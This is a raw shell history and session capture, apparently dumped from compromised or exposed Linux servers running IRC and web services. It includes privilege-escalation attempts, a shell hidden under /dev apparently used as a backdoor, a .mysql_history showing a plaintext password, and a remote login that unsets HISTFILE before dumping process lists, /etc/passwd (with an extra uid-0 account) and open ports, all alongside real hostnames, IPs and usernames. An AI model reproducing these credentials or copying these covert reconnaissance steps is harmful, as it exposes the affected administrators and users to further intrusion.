ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
screen -x
screen -ls
screen -e^Tt
echo $DISPLAY
XCHAT
xchat
echo $DISPLAY
export DISPLAY=71.192.64.22:10
xchat
export DISPLAY=71.192.64.22:0
xchat
export DISPLAY=71.192.64.22:10
xchat
export DISPLAY=71.192.64.22:0.2
xchat
screen -x
w
who
mozilla
ls
ls Incoming/
cd Incoming/
id
sudo su –
cat /etc/sudoers
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_config
ls
ls -l
ls -la
xdpyinfo
xterm
w
ps auxww | grep irc
w
dmesg
cat /proc//interrupts
/sbin/ifconfig
cat /proc/acpi/video/
ls /proc/acpi/video/
cat /proc/acpi/info
cat /proc/acpi/button/power/PWRF/info
cat /proc/acpi/button/sleep/SLPB/info
cat /proc/devices
cat /proc/irq/11/radeon\@pci\:0000\:00\:09.0/
cat /proc/misc
dmesg | grep eth0
lsmod
/sbin/lsmod
uname -a
dmesg | grep -i ra
dmesg | grep -i video
dmesg | grep – rade
dmesg | grep -i rade
dmesg | grep xrm
dmesg | grep drm
dmesg | grep 200
dmesg | grep 200
ps auxww | grep X
passwd
w
ps auxww|grep astrer
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster

ps auxww|grep aster

ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|grep aster
ps auxww|less
ifconfig
/sbin/ifconfig
/sbin/iptables -L
/sbin/iptables
/sbin/iptables 00help
/sbin/iptables –help
/sbin/iptables -L -t nat
w
grep -i ipsec /etc/services
grep -i sec /etc/services
grep -i pptp /etc/services
grep -i pp /etc/services
grep -i 17 /etc/services
grep -i vpn /etc/services
ping -b 192.168.1.255
arp -a
/sbinarp -n
/sbin/arp -n
ping irc.humpmeg.net
ping irc.humpmeg.net
w
screen -x
ssh gumbie@www.zloche.net -v
ping http://www.zloche.net
ping server.zloche.net
ping server1.zloche.net
cat .ssh/authorized_keys
sz .ssh/authorized_keys
ls
ls .ssh
less .ssh/authorized_keys
ls -la .ssh
w
ps auxww|grep dead
ps auxww|grep pts/6
ps auxww|grep 508
w
ifconfig
/sbin/ifconfig
/sbin/arp -ae
screen -x
screen -ls
ssh 192.168.1.3
ssh 192.168.1.3
arp -en
/sbin/arp -en
ssh 192.168.1.3
ssh 192.168.1.3 -v
/sbin/arp -en
ping -b 192.168.1.255
ssh 192.168.1.3 -v
ssh 192.168.1.8 -v
ls /home
su – ircd
ls -la /var/log
w
w
fg
su – ircd
ssh ircd
ssh ircd@localhost
ssh ircd@localhost -P 443
ssh ircd@localhost -p443
/sbin/infconfig
/sbin/ifconfig
ping 192.168.1.255
ping -b 192.168.1.255
/sbin/arp -en
ping -b 192.168.1.255
ping -b 192.168.1.255
ping -b 192.168.1.255
ping -b 192.168.1.255
ping -b 192.168.1.255
ping 192.168.1.103
ssh -v 192.168.1.103
ssh -v 192.168.1.103
w
screen -x
screen -x
w
w
tty
ps x
irssi
epic
irc
xchat
xchat
export DISPLAY=71.192.64.22:0
xchat
export DISPLAY=71.192.64.22:1
xchat
export DISPLAY=71.192.64.22:0.0
xchat
export DISPLAY=71.192.64.22:10.0
xchat
export DISPLAY=71.192.64.22:10.1
xchat
export DISPLAY=127.0.0.1:10
xchat
export DISPLAY=127.0.0.1:0
xchat
export DISPLAY=127.0.0.1:0.10
xchat
man ssh
less /etc/ssh/sshd_config
less /etc/ssh/ssh_config
w
w
pico .screenrc
vi .screenrc
ls -la
mkdir Incoming
mv kibitz unreal.tgz Incoming/
w
w
/sbin/ifconfig
ssh -v 192.168.1.8
ps x
screen -ls
sudo su –
cat /etc/sudoers
ls /home
ls -la
ssh ircd
ssh ircd@localhost
ssh ircd@localhost -p 443
ssh ircd@localhost -p 443
ssh ircd@localhost -p 443
ssh ircd@localhost -p 443
ssh ircd@localhost -p 443
ps x
screen -ls
s
ssh ircd@localhost -p 443
sudo su –
ssh irc@localhost -p 443
ssh irc@localhost -p 443
w
w
screen -ls
screen -x
screen -e^Tt
screen -x
screen -x
pwd
touch test
ls -la

ls -la
sudo su –
ls -la
cd /root
su –
ls -l /dev/rstm01/bash
/dev/rstm01/bash sudo su –
/dev/rstm01/bash
man bash
w
uname -a
sudo su –
sudo su –
top
df
ls /mnt
ls /mnt/Rasterized/
ls /mnt/Rasterized/Rasterized\ Drive/
ls /mnt/Rasterized/Rasterized\ Drive/codecs/
ls /mnt/Rasterized/Guitar\ Pro\ 5/
ls /mnt/cstrike/
w
screen -x
ps x
top
dmesg
smbstatus
w
kill -1 -1
w
sudo su –
sudo su –
sudo su –
sudo su –
sudo su –
sudo su –
mysql -p
/usr/local/mysql/bin/mysql -p
/usr/local/mysql/bin/mysql -p
/usr/local/mysql/bin/mysql -p
/usr/local/mysql/bin/mysql -p
/usr/local/mysql/bin/mysql -p
sudo su –
sudo su –
sudo su –
sudo su –
mysqladmin -p shutdown
sudo su –
mysql -u ircd -p rasnet
screen -x
sudo su –
screen -x
sudo su –
screen -x
screen -ls
w
ps x
screen -e^Tt
screen -x
screen -x
uptime
ping escape.com
ping escape.com -c 10
sudo su –
sudo su –
screen -x
sudo su –
sudo su –
sudo su –
sudo su –
sudo su –
sudo su –
sudo su –
sudo su –
sudo su –
mysql -p -u gumbie
mysql -p -u gumbie
mysql -p -u gumbie
fg
fg
sudo su –
sudo su –
sudo su –
sudo su –
sudo su –
w
w
ps x
sudo su –
sudo su –
w
ps auxww | grep mysqld
mysql -p
mysql -p
w
screen -ls
screen -e^Gg
ls
rm *.tgz
screen -x
screen -e^Gg
ls
screen -x
screen -x
exit
ssh -p 22 irc3.zloche.net
ssh -p 22 irc3.zloche.net
ssh -p 22 irc3.zloche.net
screen -x
passwd
screen -x
screen -x
screen -x
screen -x
screen -x
screen -x
ls
screen -x
screen -e ^Tt
screen -x
man pdisk
man fdisk
man fdisk
man -k mbr
man gdisk
man -k disk | less
sudo su –
host irc.rasterized.net
screen -x
screen -e^Tt
screen -x
screen -x
screen -x
screen -x
screen -x
screen -e^Tt
screen -x
date
date
rdate -s date.nist.gov
rdate -s time.nist.gov
rdate -s time-a.nist.gov
rdate -a time-a.nist.gov
rdate -s time-a.nist.gov
screen -x
sudo rdate -a time-a.nist.gov

date
screen -e^Tt
screen -x
screen -x
screen -x
screen -x
[root@localhost gumbie]# cat .mysql_history
_HiStOrY_V2_
set40password40=40password(“vfr1000r”);
\134q
show40grants
;
show tables;
select * from anope_os_news;
use rasnet
flush tables with read lock;
show mast status;
show master status;
unlock tables
;
show mast status;
show master status;
select * from anope_ns_access \G
select * from anope_ns_core \G
\q
show databases
;
use gumbie
show tables;
use Raster
show tables
;
shot datbases
;
show databases;
use rasnet
show tables;
show master status \G
status;
show sessions
\G
show sessions
;
show ?
;
help show
\1q
\q
show master status
;
flush tables with read lock;
show master status
;
unlock tables
;
\q

[root@localhost gumbie]# exit
[deadlyacid@localhost ~]$ ssh zloche@80.248.208.223
The authenticity of host ‘80.248.208.223 (80.248.208.223)’ can’t be established.
RSA key fingerprint is 83:0f:75:06:d2:da:85:fd:1c:93:39:83:89:7c:25:99.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added ‘80.248.208.223’ (RSA) to the list of known hosts.
Password:
Linux vds349.sivit.org 2.6.12.6-xenU #1 SMP Fri Feb 24 01:08:35 CET 2006 i686 GNU/Linux

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.

Last login: Sat Jun 9 15:57:56 2007 from bas10-montreal02-1177583918.dsl.bell.ca
vds349.sivit.org> unset HISTFILE ; unset SAVEHIST
vds349.sivit.org> bash
zloche@vds349:~$ unset HISTFILE ; unset SAVEHIST
zloche@vds349:~$ w
17:34:32 up 174 days, 14:23, 4 users, load average: 0.00, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
zloche pts/9 bas10-montreal02 15:57 19:17 0.01s 0.01s -bash
stax pts/7 :2.0 02Jan07 156days 0.05s 0.05s -bash
zloche pts/13 bas10-montreal02 15:57 52:29 0.02s 0.02s -bash
zloche pts/17 c-76-108-85-21.h 17:33 0.00s 0.02s 0.01s w
zloche@vds349:~$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 1580 112 ? S 2006 3:33 init [4]
root 2 0.0 0.0 0 0 ? S 2006 0:49 [migration/0]
root 3 0.0 0.0 0 0 ? SN 2006 0:05 [ksoftirqd/0]
root 4 0.0 0.0 0 0 ? S< 2006 4:27 [events/0]
root 5 0.0 0.0 0 0 ? S< 2006 0:01 [khelper]
root 6 0.0 0.0 0 0 ? S< 2006 0:00 [kthread]
root 7 0.0 0.0 0 0 ? S< 2006 0:00 [xenwatch]
root 8 0.0 0.0 0 0 ? S< 2006 0:00 [xenbus]
root 11 0.0 0.0 0 0 ? S< 2006 0:46 [migration/1]
root 12 0.0 0.0 0 0 ? SN 2006 0:01 [ksoftirqd/1]
root 13 0.0 0.0 0 0 ? S< 2006 0:49 [events/1]
root 16 0.0 0.0 0 0 ? S< 2006 0:25 [kblockd/0]
root 17 0.0 0.0 0 0 ? S< 2006 0:30 [kblockd/1]
root 49 0.0 0.0 0 0 ? S 2006 7:26 [kswapd0]
root 50 0.0 0.0 0 0 ? S< 2006 0:00 [aio/0]
root 51 0.0 0.0 0 0 ? S< 2006 0:00 [aio/1]
root 52 0.0 0.0 0 0 ? S< 2006 0:00 [xfslogd/0]
root 53 0.0 0.0 0 0 ? S< 2006 0:00 [xfslogd/1]
root 54 0.0 0.0 0 0 ? S< 2006 0:00 [xfsdatad/0]
root 55 0.0 0.0 0 0 ? S< 2006 0:00 [xfsdatad/1]
root 56 0.0 0.0 0 0 ? S 2006 0:30 [xfsbufd]
root 595 0.0 0.0 0 0 ? S 2006 30:27 [kjournald]
daemon 10217 0.0 0.1 1684 188 ? Ss 2006 0:00 /sbin/portmap
root 10289 0.0 0.1 1576 188 ? Ss 2006 0:01 /sbin/klogd
root 10677 0.0 0.0 2800 116 ? Ss 2006 0:00 /usr/sbin/famd -T
root 10706 0.0 0.3 1816 456 ? Ss 2006 0:45 /usr/sbin/cron
root 10734 0.0 0.1 1572 232 tty1 Ss+ 2006 0:00 /sbin/getty 38400
root 10735 0.0 0.2 2556 300 ? Ss 2006 0:00 /bin/sh /command/
root 10737 0.0 0.0 136 20 ? S 2006 3:41 svscan /service
root 10738 0.0 0.0 92 4 ? S 2006 0:00 readproctitle ser
root 10739 0.0 0.0 100 16 ? S 2006 26:51 supervise dnscach
root 10740 0.0 0.0 104 20 ? S 2006 0:00 supervise log
dnslog 10742 0.0 0.0 108 4 ? S 2006 5:12 multilog t /var/l
root 25936 0.0 1.2 24652 1680 ? Ss 2006 23:29 /usr/bin/spamd -d
root 13041 0.0 0.5 16924 672 ? S 2006 0:08 cpsrvd – waiting
ircd 13243 0.0 2.3 5716 3096 ? S Jan01 37:48 ./ircd
root 28865 0.0 0.3 4824 424 ? Ss Jan02 0:02 /usr/bin/X11/xfs
root 29047 0.0 0.2 2604 276 ? S Jan02 0:00 /bin/bash /etc/in
root 29048 0.0 0.2 2604 276 ? S Jan02 0:00 /bin/bash /etc/in
root 29049 0.0 0.2 11712 340 ? S Jan02 0:00 /usr/X11R6/bin/Xp
root 29051 0.0 0.2 2604 276 ? S Jan02 0:00 /bin/bash /etc/in
stax 29260 0.0 0.3 11412 508 ? S Jan02 2:08 Xtightvnc :1 -des
stax 29269 0.0 0.2 10900 384 ? S Jan02 0:07 x-window-manager
stax 29283 0.0 0.3 11760 528 ? Ss Jan02 3:47 xfce-mcs-manager
stax 3320 0.0 0.3 10176 508 ? S Jan02 52:56 Xtightvnc :2 -des
stax 3328 0.0 0.3 5480 452 ? S Jan02 4:55 xterm -geometry 8
stax 3329 0.0 0.2 10748 364 ? S Jan02 0:00 x-window-manager
stax 3336 0.0 0.3 11728 520 ? Ss Jan02 3:44 xfce-mcs-manager
stax 3337 0.0 0.2 2652 300 pts/7 Ss+ Jan02 0:00 -bash
root 18154 0.0 0.3 1828 404 ? Ss Jan09 0:00 /sbin/rpc.statd
nagios 14637 0.0 0.2 4412 304 ? Ss Feb02 0:00 ./ndo2db-2x -c /u
stax 8120 0.0 0.3 12336 532 ? S Feb02 3:43 ./sc_serv
stax 8121 0.0 0.3 12336 532 ? S Feb02 0:21 ./sc_serv
stax 8122 0.0 0.3 12336 532 ? S Feb02 14:41 ./sc_serv
stax 8123 0.0 0.3 12336 532 ? S Feb02 8:53 ./sc_serv
stax 8124 0.0 0.3 12336 532 ? S Feb02 15:06 ./sc_serv
stax 8174 0.0 0.3 15868 520 ? S Feb02 3:48 ./sc_serv
stax 8175 0.0 0.3 15868 520 ? S Feb02 0:22 ./sc_serv
stax 8176 0.0 0.3 15868 520 ? S Feb02 18:29 ./sc_serv
stax 8177 0.0 0.3 15868 520 ? S Feb02 8:38 ./sc_serv
stax 8178 0.0 0.3 15868 520 ? S Feb02 18:13 ./sc_serv
root 3360 0.0 0.3 1620 408 ? Ss Feb04 3:33 /sbin/syslogd
root 741 0.0 0.4 3804 588 ? Ss Feb04 0:59 /usr/sbin/sshd
cyrus 14369 0.0 0.1 2476 220 ? Ss Feb04 0:00 /usr/sbin/pwcheck
root 6103 0.0 0.2 1608 340 ? Ss Feb05 1:21 /usr/sbin/inetd
root 19002 0.0 0.4 2380 644 ? S Feb05 0:52 /bin/sh ./festiva
root 19012 0.0 0.3 23620 424 ? S Feb05 0:00 ./festival –serv
dnscache 19611 0.0 0.0 1432 116 ? S Feb05 0:01 /usr/local/bin/dn
www-data 8569 0.0 0.4 33460 624 ? S Mar01 0:24 /usr/local/bin/pe
www-data 8570 0.0 0.7 32472 1044 ? S Mar01 0:29 /usr/local/bin/pe
root 3052 0.0 0.0 0 0 ? Z Mar08 0:00 [festival] root 9328 0.0 0.2 2232 344 ? Ss Mar17 0:00 ftpd: accepting c
nagios 10388 0.0 0.4 2752 620 ? Ss Mar25 0:36 ./nagircbot -S -X
root 19029 0.0 0.1 1744 248 ? S Mar26 0:00 /usr/sbin/courier
root 19030 0.0 0.2 2416 292 ? S Mar26 0:00 /usr/lib/courier/
root 19032 0.0 0.2 2520 328 ? S Mar26 0:00 /usr/lib/courier/
root 19033 0.0 0.2 2416 292 ? S Mar26 0:00 /usr/lib/courier/
root 19034 0.0 0.2 2416 292 ? S Mar26 0:00 /usr/lib/courier/
root 19035 0.0 0.2 2520 328 ? S Mar26 0:00 /usr/lib/courier/
root 19036 0.0 0.2 2520 328 ? S Mar26 0:00 /usr/lib/courier/
gumbie 14873 0.0 1.1 3892 1484 ? Ss Apr18 0:24 SCREEN -e^Tt
gumbie 14874 0.0 0.4 2724 576 pts/5 Ss+ Apr18 0:00 /bin/bash
gumbie 14877 0.0 0.2 2712 312 pts/8 Ss Apr18 0:00 /bin/bash
root 14880 0.0 2.3 10840 3208 pts/8 S Apr18 0:02 -su
darwin 21215 0.0 0.5 2400 788 pts/8 S Apr18 2:09 ./psybnc
gumbie 24879 0.0 0.4 2712 540 pts/10 Ss Apr27 0:00 /bin/bash
zloche 26665 0.0 0.7 13572 980 ? S May01 0:19 php alwaysping.ph
gumbie 12756 0.0 0.2 2704 312 pts/12 Ss May04 0:00 /bin/bash
root 12759 0.0 0.3 2720 504 pts/12 S May04 0:00 -su
root 24211 0.0 0.2 6892 360 ? Ss May14 0:00 /usr/sbin/saslaut
root 24212 0.0 0.2 6892 360 ? S May14 0:00 /usr/sbin/saslaut
root 24213 0.0 0.2 6892 360 ? S May14 0:00 /usr/sbin/saslaut
root 24214 0.0 0.2 6892 360 ? S May14 0:00 /usr/sbin/saslaut
root 24215 0.0 0.2 6892 360 ? S May14 0:00 /usr/sbin/saslaut
root 24319 0.0 0.4 3028 604 ? Ss May14 0:30 /usr/lib/postfix/
zloche 1131 0.0 0.9 20352 1268 ? S May20 0:15 php server.php
test 19301 0.0 0.5 1964 744 ? Ss May26 0:04 ./linux
root 10077 0.0 0.0 0 0 ? S May26 0:13 [pdflush]
bind 3313 0.0 2.1 15800 2904 ? Ss May27 0:00 /usr/sbin/named –
bind 3314 0.0 2.1 15800 2904 ? S May27 0:01 /usr/sbin/named –
bind 3315 0.0 2.1 15800 2904 ? S May27 1:50 /usr/sbin/named –
bind 3316 0.0 2.1 15800 2904 ? S May27 1:46 /usr/sbin/named –
bind 3317 0.0 2.1 15800 2904 ? S May27 0:09 /usr/sbin/named –
bind 3318 0.0 2.1 15800 2904 ? S May27 0:58 /usr/sbin/named –
stats 9998 0.0 0.4 2732 612 pts/12 S+ May29 0:00 -su
ircd 20676 0.0 2.4 10456 3336 ? S May31 0:43 ./services
stats 22164 0.0 2.4 18444 3328 pts/12 S May31 0:32 ./neostats
root 23940 0.0 0.3 2124 412 pts/8 T May31 0:07 tail -F /var/log/
root 22268 0.0 1.9 63200 2668 pts/8 S Jun03 0:08 /usr/sbin/apache
root 25788 0.0 0.5 2720 712 pts/10 S Jun03 0:00 -su
postfix 32031 0.0 0.8 3356 1132 ? S Jun03 0:03 qmgr -l -t fifo –
root 17452 0.0 0.5 2384 672 pts/8 S Jun04 0:00 /bin/sh /usr/bin/
mysql 17489 0.0 3.9 48060 5296 pts/8 S Jun04 0:02 /usr/sbin/mysqld
root 17490 0.0 0.2 1564 312 pts/8 S Jun04 0:00 logger -p daemon.
mysql 17491 0.0 3.9 48060 5296 pts/8 S Jun04 0:00 /usr/sbin/mysqld
mysql 17492 0.0 3.9 48060 5296 pts/8 S Jun04 0:00 /usr/sbin/mysqld
mysql 17493 0.0 3.9 48060 5296 pts/8 S Jun04 0:00 /usr/sbin/mysqld
mysql 17494 0.0 3.9 48060 5296 pts/8 S Jun04 0:00 /usr/sbin/mysqld
mysql 17495 0.0 3.9 48060 5296 pts/8 S Jun04 0:00 /usr/sbin/mysqld
mysql 17497 0.0 3.9 48060 5296 pts/8 S Jun04 0:04 /usr/sbin/mysqld
mysql 17498 0.0 3.9 48060 5296 pts/8 S Jun04 0:04 /usr/sbin/mysqld
mysql 17499 0.0 3.9 48060 5296 pts/8 S Jun04 0:00 /usr/sbin/mysqld
mysql 17500 0.0 3.9 48060 5296 pts/8 S Jun04 0:00 /usr/sbin/mysqld
djdd 11579 0.0 0.4 2980 628 ? Ss Jun05 0:01 SCREEN irssi
djdd 11583 0.0 1.2 7728 1676 pts/15 Ss+ Jun05 0:32 irssi
djdd 11711 0.0 0.5 2684 784 pts/16 Ss+ Jun05 0:00 /bin/bash
rmachine 5873 0.0 0.8 2720 1204 pts/10 S+ Jun07 0:00 -su
root 20159 0.0 1.4 24652 1900 ? S Jun07 0:00 spamd child
root 20217 0.0 1.1 24652 1540 ? S Jun07 0:00 spamd child
nagios 12250 0.0 0.2 1892 288 ? SL Jun08 0:00 nsca -c /usr/loca
nagios 12355 0.0 0.7 8552 1040 ? Ss Jun08 0:09 /usr/local/nagios
nagios 12356 0.0 0.7 8552 1040 ? S Jun08 0:00 /usr/local/nagios
nagios 12357 0.0 0.7 8552 1040 ? S Jun08 0:00 /usr/local/nagios
nagios 12358 0.0 0.7 8552 1040 ? S Jun08 0:01 /usr/local/nagios
root 27785 0.0 2.8 7816 3800 ? S Jun08 0:48 python /usr/local
zloche 10886 0.0 2.3 14856 3212 ? S Jun08 0:46 php serveur_php4.
root 11148 0.0 0.0 0 0 ? S 08:31 0:00 [pdflush]
www-data 29732 0.0 6.6 63612 8960 pts/8 S 14:14 0:00 /usr/sbin/apache
root 29860 0.0 1.2 6548 1720 ? Ss 14:17 0:00 sshd: gumbie [pri
gumbie 29862 0.0 1.3 6696 1864 ? S 14:17 0:00 sshd: gumbie@pts/
gumbie 29865 0.0 1.1 2672 1488 pts/1 Ss 14:17 0:00 -bash
gumbie 29871 0.0 0.6 2588 896 pts/1 S+ 14:17 0:00 screen -x
darwin 29963 0.0 2.5 4768 3376 pts/8 S 14:18 0:00 /home/darwin/bot/
www-data 30078 0.0 6.1 63596 8300 pts/8 S 14:20 0:00 /usr/sbin/apache
www-data 30079 0.0 7.1 63836 9568 pts/8 S 14:20 0:00 /usr/sbin/apache
www-data 31284 0.0 6.6 63612 8904 pts/8 S 14:40 0:00 /usr/sbin/apache
www-data 31782 0.0 6.4 63596 8712 pts/8 S 14:49 0:00 /usr/sbin/apache
www-data 32514 0.0 6.1 63596 8272 pts/8 S 15:03 0:00 /usr/sbin/apache
www-data 588 0.0 6.4 63572 8600 pts/8 S 15:12 0:00 /usr/sbin/apache
www-data 1444 0.0 8.9 64432 12048 pts/8 S 15:27 0:00 /usr/sbin/apache
root 3196 0.0 1.3 6548 1752 ? Ss 15:57 0:00 sshd: zloche [pri
root 3198 0.0 1.3 6548 1752 ? S 15:57 0:00 sshd: zloche [pri
zloche 3200 0.0 1.3 6548 1844 ? S 15:57 0:00 sshd: zloche@pts/
zloche 3201 0.0 1.1 2696 1516 pts/9 Ss+ 15:57 0:00 -bash
root 3218 0.0 1.3 6548 1752 ? Ss 15:57 0:00 sshd: zloche [pri
root 3230 0.0 1.3 6548 1752 ? S 15:57 0:00 sshd: zloche [pri
zloche 3267 0.0 1.3 6712 1864 ? S 15:57 0:00 sshd: zloche@pts/
zloche 3268 0.0 1.1 2696 1532 pts/13 Ss+ 15:57 0:00 -bash
postfix 4660 0.0 0.8 3036 1132 ? S 16:21 0:00 pickup -l -t fifo
darwin 5691 0.0 1.1 2740 1596 pts/8 S+ 16:41 0:00 -su
rmachine 7943 0.0 0.8 2368 1156 ? S 17:22 0:00 ftpd: c-24-34-223
www-data 8415 0.0 5.5 63596 7480 pts/8 S 17:31 0:00 /usr/sbin/apache
www-data 8416 0.0 2.7 63332 3740 pts/8 S 17:31 0:00 /usr/sbin/apache
root 8475 0.0 1.3 7572 1768 ? Ss 17:33 0:00 sshd: zloche [pri
root 8477 0.0 1.3 7572 1768 ? S 17:33 0:00 sshd: zloche [pri
zloche 8479 0.0 1.4 7572 1884 ? S 17:33 0:00 sshd: zloche@pts/
zloche 8480 0.0 1.1 2688 1496 pts/17 Ss 17:33 0:00 -bash
postfix 8509 0.0 1.8 6020 2448 ? S 17:33 0:00 smtpd -n smtp -t
postfix 8511 0.0 0.8 3040 1140 ? S 17:33 0:00 proxymap -t unix
zloche 8580 0.0 1.1 2688 1492 pts/17 S 17:34 0:00 bash
root 8581 0.0 0.3 2104 504 ? S 17:34 0:00 sleep 60
zloche 8590 0.0 0.6 2556 860 pts/17 R+ 17:34 0:00 ps aux
zloche@vds349:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/home/nobody:/bin/bash
Debian-exim:x:102:102::/var/spool/exim4:/bin/false
sshd:x:100:65534::/var/run/sshd:/bin/false
smmta:x:101:104:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:103:105:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
sivit:x:0:0::/root:/bin/bash
dnscache:x:64017:64011::/var/dnscache:/bin/false
dnslog:x:64018:64011::/var/dnscache:/bin/false
postfix:x:104:106::/var/spool/postfix:/bin/false
mysql:x:105:108:MySQL Server,,,:/var/lib/mysql:/bin/false
ftp:x:1000:100::/dev/null:/noshuchshell
bind:x:106:109::/var/cache/bind:/bin/false
nagios:x:110:110::/usr/local/nagios:/bin/bash
stax:x:1001:1001:Stax,,,:/home/stax:/bin/bash
gumbie:x:1002:1002:Rick:/home/gumbie:/bin/bash
index:x:1003:100::/www/:/bin/sh
hlds:x:1004:1004:,,,:/www/servers/steam/:/bin/bash
mailman:x:1005:1003::/usr/local/cpanel/3rdparty/mailman:/bin/bash
cpanel:x:1006:1007::/usr/local/cpanel:/bin/bash
sqlrelay:x:107:1000:SQLRelay administrator,,,:/var/cache/sqlrelay:/bin/bash
rmachine:x:1007:2000::/vhost/home/rmachine/:/bin/bash
ircd:x:1008:1008:IRC Service,,,:/home/ircd:/bin/bash
djdd:x:1011:1011:,,,:/home/djdd:/bin/bash
vhost:x:1012:1999:vhost ruser:/vhost/home/vhost:/bin/sh
stats:x:1010:1010:Irc Statistics,,,:/home/stats:/bin/bash
zlvpn:x:1013:1013:VPN User,,,:/home/zlvpn:/bin/bash
raster:x:1015:1015:,,,:/home/raster:/bin/bash
example:x:1017:2000:vhost admin:/vhost/home/example:/bin/false
darwin:x:1018:1018:Darwin,,,:/home/darwin:/bin/bash
custodis:x:1019:2000:vhost admin:/vhost/home/custodis:/bin/false
jebus:x:1020:1020:,,,:/home/jebus:/bin/bash
stitchup:x:1021:1021:,,,:/home/stitchup:/bin/bash
gumbie.rmachine.net:x:1007:2000:vhostvuser:/vhost/rmachine.net/home/gumbie:/bin/false
tsrp:x:1022:1022:The Specialist Role Play,,,,J00 SuCk:/www/www/tsrp/./www:/bin/bash
catchall.rmachine.net:x:1007:2000:vhostvuser:/vhost/rmachine.net/home/catchall:/bin/false
cyrus:x:1023:1023:,,,:/home/cyrus:/bin/bash
dovecot:x:112:112:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
test:x:1024:2000:vhost admin:/vhost/home/test:/bin/bash
liveits:x:1026:2000:vhost admin:/vhost/home/liveits:/bin/bash
openca:x:1027:1027:Certificate Authority,,,:/usr/local/openca/openca/var/tmp:/bin/bash
zloche:x:1028:2000:vhost admin:/vhost/home/zloche:/bin/bash
catch-all.zloche.net:x:1028:2000:vhostvuser:/vhost/zloche.net/home/catch-all:/bin/false
stax.zloche.net:x:1028:2000:vhostvuser:/vhost/zloche.net/home/stax:/bin/false
rhopkins.rmachine.net:x:1007:2000:vhostvuser:/vhost/rmachine.net/home/rhopkins:/bin/false
gary.rmachine.net:x:1007:2000:vhostvuser:/vhost/rmachine.net/home/gary:/bin/false
gnomex:x:1029:2000:vhost admin:/vhost/home/gnomex:/bin/bash
testt:x:1030:2000:vhost admin:/vhost/home/testt:/bin/bash
zloche@vds349:~$ netstat -anvp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:5665 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:1314 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:2082 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:995 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:8067 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:2083 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:5668 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6661 0.0.0.0:* LISTEN –
tcp 0 0 127.0.0.1:677 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6662 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:2086 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6663 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:2087 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:9000 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6664 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:873 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:9001 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6697 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6665 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:3306 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6666 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:587 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6667 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:6668 0.0.0.0:* LISTEN –
